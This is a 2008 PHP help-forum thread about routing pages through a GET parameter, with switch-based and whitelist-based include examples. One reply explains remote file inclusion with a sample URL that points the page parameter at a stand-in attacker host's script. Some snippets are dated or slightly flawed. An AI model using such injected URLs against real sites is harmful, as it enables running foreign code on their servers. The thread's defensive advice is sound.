careym1989 Posted September 16, 2008 Share Posted September 16, 2008 Hello again, everyone! How would I create pages off of a php file, such as this: browse.php?page=home or issues.php?browse=foreignpolicy instead of foreignpolicy.php or publicservice.php Clearly I could just make independent pages but I feel that this would be easier to access for a lot of people. How would I do this or where could I find a tutorial? Help would be appreciated. Regards, Carey Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/ Share on other sites More sharing options...
DarkWater Posted September 16, 2008 Share Posted September 16, 2008 Well, any parameters in the URL can be found in the $_GET superglobal. For example, if you had browse.php?page=home, $_GET['page'] would be home. You can probably figure out where to go from there. Oh, one bit of advice. If you're going to just be including files based on a GET parameter, make sure you use a whitelist and don't blindly include() files. Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642445 Share on other sites More sharing options...
careym1989 Posted September 16, 2008 Author Share Posted September 16, 2008 Sorry, like I've said before, I'm not trying to get on anyone's nerves but I'm pretty noob at PHP. I can plug and chug but I don't know where to start with that. Thanks for a speedy response, though! -Carey Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642448 Share on other sites More sharing options...
DarkWater Posted September 16, 2008 Share Posted September 16, 2008 Sorry, like I've said before, I'm not trying to get on anyone's nerves but I'm pretty noob at PHP. I can plug and chug but I don't know where to start with that. Thanks for a speedy response, though! -Carey Lol, no problem. Any idea of how you'd like to store the pages? Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642449 Share on other sites More sharing options...
Garethp Posted September 16, 2008 Share Posted September 16, 2008 <?php $Page = mysql_escape_string($_GET['page']); switch ($Page) { case "home": include "home.php"; break; case "contact"; include "contact.php"; break; case "logout"; include "logout.php"; break; default: include "index.php"; break; } ?> Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642450 Share on other sites More sharing options...
DarkWater Posted September 16, 2008 Share Posted September 16, 2008 That'd get really unwieldy really quickly. Also, you can't use mysql_real_escape_string() unless you're connected to a database...why in the world would you even use it there? You could do something like: <?php $whitelist = array('home', 'contact', 'aboutus', 'somepage', 'index'); if (in_array($_GET['page'], $whitelist)) { include("../includes/{$_GET['page']}"); } else { include("../includes/index.php"); } ?> I assumed that ../includes would be out of the web root so that no one could get at the files directly, but it doesn't matter. Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642452 Share on other sites More sharing options...
careym1989 Posted September 16, 2008 Author Share Posted September 16, 2008 That first example worked. I'm intrigued about the whitelist string though -- what are the benefits? FYI my server runs PHP 4.x Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642456 Share on other sites More sharing options...
DarkWater Posted September 16, 2008 Share Posted September 16, 2008 Less writing. Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642458 Share on other sites More sharing options...
CroNiX Posted September 16, 2008 Share Posted September 16, 2008 That first example worked. I'm intrigued about the whitelist string though -- what are the benefits? FYI my server runs PHP 4.x So some hacker fool can't get on your page and start entering in their own stuff into your url variables. Like 'http://www.yoursite.com?page=http://hackersite.com/evilscript.txt', which could execute the contents of evilscript.txt on your server doing whatever the script says. Since your script is telling PHP to open whatever file is in the url variable, thats what it will do. Thats just one example. Always screen/validate any input that the user can access, that mainly being your URL variables passed via POST/GET/COOKIE. Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642566 Share on other sites More sharing options...
Garethp Posted September 16, 2008 Share Posted September 16, 2008 Each of our examples has a downside. My example means you have to write a couple more lines of code each time you want to add a page. The other example has the downside of not being able to have ?page=boo redirect to login or ?page=contact redirect to mail.php Quote Link to comment https://forums.phpfreaks.com/topic/124406-simple-php-question-unsure-of-the-exact-name/#findComment-642581 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.